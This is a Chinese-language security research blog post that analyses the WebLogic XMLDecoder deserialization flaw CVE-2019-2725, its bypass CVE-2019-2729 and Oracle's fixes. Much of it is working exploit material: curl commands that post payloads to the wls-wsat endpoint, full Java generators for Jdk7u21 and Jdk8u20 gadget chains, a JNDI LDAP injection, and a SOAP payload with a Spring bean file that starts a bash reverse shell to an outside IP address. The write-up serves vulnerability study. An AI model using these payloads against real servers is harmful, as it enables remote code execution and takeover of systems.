Diggid's Blog

[Java WebLogic反序列化]XMLDecoder之CVE-2019-2725

字数统计: 4.1k阅读时长: 19 min
2021/07/20 Share

前言

这个洞也是一个绕过,和前两个不一样的地方是,由于没办法直接初始化获取一个对象了,但是通过对10271补丁的分析,可以发现还有漏网之鱼。

影响版本

  • WebLogic 10.X
  • WebLogic 12.1.3

有些POC只能在某些版本能打,下面会说明

POC1 - 新增接口

同时要求未打之前的补丁

1
2
3
POST /_async/AsyncResponseService HTTP/1.1

之前的POST内容(同时要求未打之前的补丁)

漏洞分析1

最终Sink的断点不变,调试、对比调用栈如下:

image-20210719175930386

前面一坨都一样,可以看到解析包的入口点变成了weblogic.wsee.handler.HandlerIterator#handleRequest。跟进一下

image-20210719214733407

this.handlers中有20种类型的handler,其中包括WorkAreaServerHandlerHandlerIterator#handleRequest迭代所有的handler调用其handleRequest()方法,就会调用到WorkAreaServerHandler#handleRequest

image-20210719214537712

继续跟进WorkAreaServerHandler#handleRequest,可以看到熟悉的receiveRequest,传入的var4.getInputStream是WorkAreaHeader,其属性content的值即为<java>...</java>部分,随后继续调用到WorkContextEntryImpl#readEntry就和前面一样了,最后XMLDecoder#readObject触发漏洞

image-20210719220354149

class标签创建对象

在SAX解析XML的官方文档中说到,<class>标签同样能够创建一个类。那么又开辟了一条可以链接Gadgets的路:调用类的无参或有参构造方法。所以在下面的POC中就是利用了一些类的构造方法作为起点连接到其他的恶意操作的

image-20210720012731533

因此我们通过<class>标签创建类,其中包裹<void>标签作为类构造方法的参数传入。因此整体布局可以是:

1
2
3
4
5
6
<class>
<string>ClassName</string>
<void>
...
</void>
</class>

但是这里有个坑点,由于<string>标签解析字符串会包括空白字符(' ', '\t', '\n', '\r'),同时<class>标签的Handler继承了string标签的Handler且没有重写添加字符串的addCharacters方法,所以<class>标签也受上述规则限制,addCharacters方法会将<class>标签到下一个非<string>的起始标签的全部内容都作为类名添加。 即<class>xxx<void>中的部分,所以至少要保证class标签和最近一个void标签中没有空白字符,否则就会导致类名错误而找不到类。

这里的<string>标签不是必须的。

image-20210720013316020

所以应该上面的布局应该这么写:

1
2
3
4
<class><string>ClassName</string><void>
...
</void>
</class>

POC2.1 - Jdk7u21

利用二次反序列化 + 原生的jdk7u21的链子

  • POC
1
curl -d '@poc2-1.xml' -H 'Content-Type: text/xml' -X POST http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
  • payload

payload太长了,给出怎么生成poc2-1.xml(payload文件)的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package secondser;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import utils.Gadgets;
import utils.Reflections;
import utils.Util;

import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

public class Jdk7u21 {
public static void main(String[] args) throws Exception {
String command = "/bin/bash -i >& /dev/tcp/VPS/8888 0>&1";

final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", TemplatesImpl.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

map.put(zeroHashCodeStr, templates); // swap in real object
Util.writeFile("./poc2-1.xml", Util.convert(set));
}
}

POC2.2 - Jdk8u20

  • POC
1
curl -d '@poc2-2.xml' -H 'Content-Type: text/xml' -X POST http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
  • payload

payload太长了,给出怎么生成poc2-2.xml(payload文件)的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
package secondser;

import utils.Gadgets;
import utils.Reflections;
import utils.Util;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

public class Jdk8u20 {
public static void main(String[] args) throws Exception{
String command = "/bin/bash -i >& /dev/tcp/101.132.159.30/8888 0>&1";

final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler handler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(handler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(handler, Templates.class);

map.put(zeroHashCodeStr, templates); // swap in real object

LinkedHashSet set = new LinkedHashSet();

BeanContextSupport bcs = new BeanContextSupport();
Class cc = Class.forName("java.beans.beancontext.BeanContextSupport");
Field serializable = cc.getDeclaredField("serializable");
serializable.setAccessible(true);
serializable.set(bcs, 0);

Field beanContextChildPeer = cc.getSuperclass().getDeclaredField("beanContextChildPeer");
beanContextChildPeer.set(bcs, bcs);

set.add(bcs);

//序列化
ByteArrayOutputStream baous = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baous);

oos.writeObject(set);
oos.writeObject(handler);
oos.writeObject(templates);
oos.writeObject(proxy);
oos.close();

byte[] bytes = baous.toByteArray();

// for debug
// FileOutputStream fos1 = new FileOutputStream("jdk8u20.ser");
//fos1.write(bytes);

System.out.println("[+] Modify HashSet size from 1 to 3");
bytes[89] = 3; //修改hashset的长度(元素个数)

//调整 TC_ENDBLOCKDATA 标记的位置
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 & bytes[i+3] == 0 &&
bytes[i+4] == 120 && bytes[i+5] == 120 && bytes[i+6] == 115){
System.out.println("[+] Delete TC_ENDBLOCKDATA at the end of HashSet");
bytes = Util.deleteAt(bytes, i + 5);
break;
}
}


//将 serializable 的值修改为 1
//0x73 = 115, 0x78 = 120
//0x73 for TC_OBJECT, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 120 && bytes[i+1] == 0 && bytes[i+2] == 1 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 115){
System.out.println("[+] Modify BeanContextSupport.serializable from 0 to 1");
bytes[i+6] = 1;
break;
}
}

/**
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0x00000000
TC_ENDBLOCKDATA - 0x78
**/

//把这部分内容先删除,再附加到 AnnotationInvocationHandler 之后
//目的是让 AnnotationInvocationHandler 变成 BeanContextSupport 的数据流
//0x77 = 119, 0x78 = 120
//0x77 for TC_BLOCKDATA, 0x78 for TC_ENDBLOCKDATA
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 119 && bytes[i+1] == 4 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i+4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 120){
System.out.println("[+] Delete TC_BLOCKDATA...int...TC_BLOCKDATA at the End of BeanContextSupport");
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
bytes = Util.deleteAt(bytes, i);
break;
}
}

/*
serialVersionUID - 0x00 00 00 00 00 00 00 00
newHandle 0x00 7e 00 28
classDescFlags - 0x00 -
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 29
*/
//0x78 = 120, 0x70 = 112
//0x78 for TC_ENDBLOCKDATA, 0x70 for TC_NULL
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 0 && bytes[i+1] == 0 && bytes[i+2] == 0 && bytes[i+3] == 0 &&
bytes[i + 4] == 0 && bytes[i+5] == 0 && bytes[i+6] == 0 && bytes[i+7] == 0 &&
bytes[i+8] == 0 && bytes[i+9] == 0 && bytes[i+10] == 0 && bytes[i+11] == 120 &&
bytes[i+12] == 112){
System.out.println("[+] Add back previous delte TC_BLOCKDATA...int...TC_BLOCKDATA after invocationHandler");
i = i + 13;
bytes = Util.addAtIndex(bytes, i++, (byte) 0x77);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x04);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x00);
bytes = Util.addAtIndex(bytes, i++, (byte) 0x78);
break;
}
}

//将 sun.reflect.annotation.AnnotationInvocationHandler 的 classDescFlags 由 SC_SERIALIZABLE 修改为 SC_SERIALIZABLE | SC_WRITE_METHOD
//这一步其实不是通过理论推算出来的,是通过debug 以及查看 pwntester的 poc 发现需要这么改
//原因是如果不设置 SC_WRITE_METHOD 标志的话 defaultDataEnd = true,导致 BeanContextSupport -> deserialize(ois, bcmListeners = new ArrayList(1))
// -> count = ois.readInt(); 报错,无法完成整个反序列化流程
// 没有 SC_WRITE_METHOD 标记,认为这个反序列流到此就结束了
// 标记: 7375 6e2e 7265 666c 6563 --> sun.reflect...
for(int i = 0; i < bytes.length; i++){
if(bytes[i] == 115 && bytes[i+1] == 117 && bytes[i+2] == 110 && bytes[i+3] == 46 &&
bytes[i + 4] == 114 && bytes[i+5] == 101 && bytes[i+6] == 102 && bytes[i+7] == 108 ){
System.out.println("[+] Modify sun.reflect.annotation.AnnotationInvocationHandler -> classDescFlags from SC_SERIALIZABLE to " +
"SC_SERIALIZABLE | SC_WRITE_METHOD");
i = i + 58;
bytes[i] = 3;
break;
}
}

//加回之前删除的 TC_BLOCKDATA,表明 HashSet 到此结束
System.out.println("[+] Add TC_BLOCKDATA at end");
bytes = Util.addAtLast(bytes, (byte) 0x78);

Util.writeFile("./poc2-2.xml", Util.convert(bytes));
}
}

POC2.3 - JNDI注入JtaTransactionManager

  • POC
1
curl -d '@poc2-3.xml' -H 'Content-Type: text/xml' -X POST http://10.4.4.16:7001/wls-wsat/CoordinatorPortType
  • payload

payload太长了,给出怎么生成poc2-3.xml(payload文件)的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package secondser;

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import utils.Util;

import java.io.*;

public class JndiJtaTransactionManager {
public static void main(String[] args) throws IOException {
String url = "ldap://101.132.159.30:1389/Evil";
JtaTransactionManager obj = new JtaTransactionManager();
obj.setUserTransactionName(url);
Util.writeFile("./poc2-3.xml", Util.convert(obj));
}
}

漏洞分析2

二次反序列化Sink

在原生的weblogic依赖中,找到POC2使用的类UnitOfWorkChangeSet

image-20210720013919378

在构造方法中对字节码参数进行二次反序列化,所以payload格式为:

1
2
3
4
5
6
7
8
9
10
11
12
<class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>
<array class="byte" length="n">
<void index="0">
<byte>-84</byte>
</void>
<void index="1">
<byte>- 19</byte>
</void>
...
</array>
</void>
</class>

Gadgets

找到了可以直接使用字节码来反序列化的Sink点,接下来只需要找到合适的Gadgets触发反序列化即可。这里前辈们提供的有:

  • Jdk7u21:有jdk限制 <= 7u21
  • Jdk8u20:有jdk限制 <= 8u20
  • 利用JtaTransactionManager链进行JNDI注入

POC2.1 分析

poc2.1和2.2都是原生的反序列化链子。生成其序列化字节码后再生成相应的xml payload即可,完整的payload见项目链接。

POC2.3 分析

参考:http://xxlegend.com/2018/10/23/Weblogic%20CVE-2018-3191%E5%88%86%E6%9E%90/

其实这条链子是用在WebLogic T3协议反序列化CVE-2018-3191中的,在CVE-2018-3191之前的补丁中有黑名单org.springframework.transaction.support.AbstractPlatformTransactionManager,目的就是为了阻断Spring依赖下的Jndi注入。但是官方遗漏了weblogic中原生的依赖包com.bea.core.repackaged,该包下有spring框架的依赖,因此也就造成了JtaTransactionManager的jndi注入以及后面AbstractXmlApplicationContext的远程加载恶意bean xml解析。

JtaTransactionManager类继承了AbstractPlatformTransactionManager,实现了Serializable接口,因此满足二次反序列化的要求。同时该类以readObject为起点开始,存在Jndi注入。链子如下:

1
2
3
4
5
6
7
JtaTransactionManager#readObject
JtaTransactionManager#initUserTransactionAndTransactionManager
JtaTransactionManager#lookupUserTransaction
JndiTemplate#lookup(String name, Class requiredType)
JndiTemplate#lookup(final String name)
JndiTemplate#execute
InitialContext#lookup

总的来说,是从JtaTransactionManager#readObject -> JndiTemplate#lookup -> InitialContext#lookup。这里截几张图看一下,具体就不多分析了

image-20210812180540889

image-20210812180557857

image-20210812180613843

image-20210812180637903

image-20210812180653958

image-20210812180716158

image-20210812180739507

POC3 - 远程获取恶意xml解析(非spel触发)

参考:http://www.lmxspace.com/2019/05/15/Weblogic-CVE-2019-2725-%E9%80%9A%E6%9D%80payload/

  • payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void>
<string>http://127.0.0.1:7777/spel.xml</string>
</void>
</class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
  • spel.xml:注意这里的写法和Jackson的不一样。少了使用SpEL表达式的部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg type="java.util.List">
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[/bin/bash -i >& /dev/tcp/VPS/8888 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

漏洞分析3

具体的过程和JackSon反序列化CVE-2017-17485加载远程spel的调试过程基本一样。由于Weblogic内置的支持spring框架的包和CVE-2017-17485依赖的Spring包的版本不同,在调试过程中会有一些差异,并且还有一下关键差异:

  • Sink类包不同。Jackson的是org.springframework.context.support.FileSystemXmlApplicationContext。而Weblogic这里使用的是com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
  • 对Spel表达式解析的支持不同。由于Jackson是作为Spring boot的默认依赖出现,所以反过来CVE-2017-17485肯定支持SpEL表达式的解析。而Weblogic中内置的Spring版本可能过低,不支持SpEL表达式解析。所以在spel.xml的触发写法上也有不同

关于流程调试这里就不赘述了,具体可以参考我之前写的。这里重点分析几个问题

为什么无法解析SpEL

根据CVE-2017-17485的分析,其中会有SpEL表达式的解析从而触发RCE。

概括一下就是从远程获取spel.xml,然后进行解析,先恢复bean对象,然后再解析其构造方法的参数,然后调用构造方法,最后调用#{pb.start()}触发RCE,所有解析bean xml标签中value属性或value标签的过程都会调用spel表达式来解析,所以这一部分也可以理解为spel表达式注入漏洞。

但是这里不行。具体跟进到解析value值的方法BeanDefinitionValueResolver#resolveValueIfNecessary,由于我们的Value是字符串,属于TypedStringValue,所以会进入TypedStringValue的解析分支,然后调用this.resolveTargetType()来获取value。可以对比一下Jackson的和WebLogic的

  • Jackson

  • WebLogic

image-20210812130613785

因此,WebLogic的Spring不支持SpEL表达式的解释,所以spel.xml就不能原封不动的使用CVE-2017-17485的

Spring容器在bean初始化和销毁时执行操作

一共有三种方法,基于xml配置bean的方式只有一种

  • 通过在xml中定义init-method destory-method方法
  • 通过@PostConstruct@PreDestroy 方法实现初始化和销毁bean之前进行的操作
  • 通过bean实现InitializingBean DisposableBean接口

重点看一下基于xml实现的:

  • 配置文件
1
2
3
4
5
6
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="Demo1" class="demo.Demo1" init-method="initDemo" destroy-method="destroyDemo"></bean>
</beans>
  • Bean类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package demo;

public class Demo1 {
public Demo1() {
System.out.println("调用了构造方法");
}
public void initDemo() {
System.out.println("调用了testDemo方法来初始化");
}

public void destroyDemo() {
System.out.println("调用了destroyDemo方法来销毁");
}

}
  • 测试主程序
1
2
3
4
5
6
7
8
9
10
package demo;

import com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext;

public class TestDemo1 {
public static void main(String[] args) {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("http://101.132.159.30:7777/test.xml");
context.registerShutdownHook(); // 结束Spring容器,才能调用destroy-method
}
}
  • 结果

image-20210812134231380

从结果可以得知,如上的xml配置会先调用Bean类的默认无参构造方法,再调用额外在init-method中设置的Bean的方法,而在容器结束时才会调用destroy-method设置的Bean的方法。所以我们可以利用init-method来实现调用恶意类的任意方法,正好可以调用

1
java.lang.ProcessBuilder(java.util.list).start()

CVE-2019-2729

这个洞是在2725上的绕过。具体来说就是,在jdk1.6下,XMLDecoder支持使用<array method="forName">标签来调用任意方法,从而替代<class>标签实例化类的功能导致绕过。但是比较鸡肋,需要jdk1.6。

至于array标签为什么有method这个属性,根据前面class标签的handler继承string的handler可以猜测,array的handler应该是继承了void的handler。

漏洞修复

  • 对于CVE-2019-2725

首先修复的思路肯定不是禁用以上出现漏洞的接口,这显然是不合理的,结合之前的修复方式,还是针对xml的语法进行了限制,具体来说就是对创建对象这一操作进行了限制,即多禁用了<class>标签,至此目前已知可创建对象的标签全都被ban了。分别是<object> <new> <method> <class>

image-20210812141759131

  • 对于对于CVE-2019-2729

使用白名单,定义在WorkContextFormatInfo类中,且使用validateFormat()方法校验

image-20220312153610646

参考

http://www.lmxspace.com/2019/05/15/Weblogic-CVE-2019-2725-%E9%80%9A%E6%9D%80payload/

http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/

http://xxlegend.com/2018/10/23/Weblogic%20CVE-2018-3191%E5%88%86%E6%9E%90/

https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483722&idx=1&sn=46ae6dc8d24efd3abc5d43e7caec412a&chksm=fb4a21a2cc3da8b43a52bd08c8170723fb38ddab27c836dad67c053551dde68151839e330ce2&mpshare=1&scene=1&srcid=0430zsBdpZPJ1Qp7Cy46H8S4

CATALOG
  1. 1. 前言
  2. 2. 影响版本
  3. 3. POC1 - 新增接口
  4. 4. 漏洞分析1
  5. 5. class标签创建对象
  6. 6. POC2.1 - Jdk7u21
  7. 7. POC2.2 - Jdk8u20
  8. 8. POC2.3 - JNDI注入JtaTransactionManager
  9. 9. 漏洞分析2
    1. 9.1. 二次反序列化Sink
    2. 9.2. Gadgets
    3. 9.3. POC2.1 分析
    4. 9.4. POC2.3 分析
  10. 10. POC3 - 远程获取恶意xml解析(非spel触发)
  11. 11. 漏洞分析3
    1. 11.1. 为什么无法解析SpEL
    2. 11.2. Spring容器在bean初始化和销毁时执行操作
  12. 12. CVE-2019-2729
  13. 13. 漏洞修复
  14. 14. 参考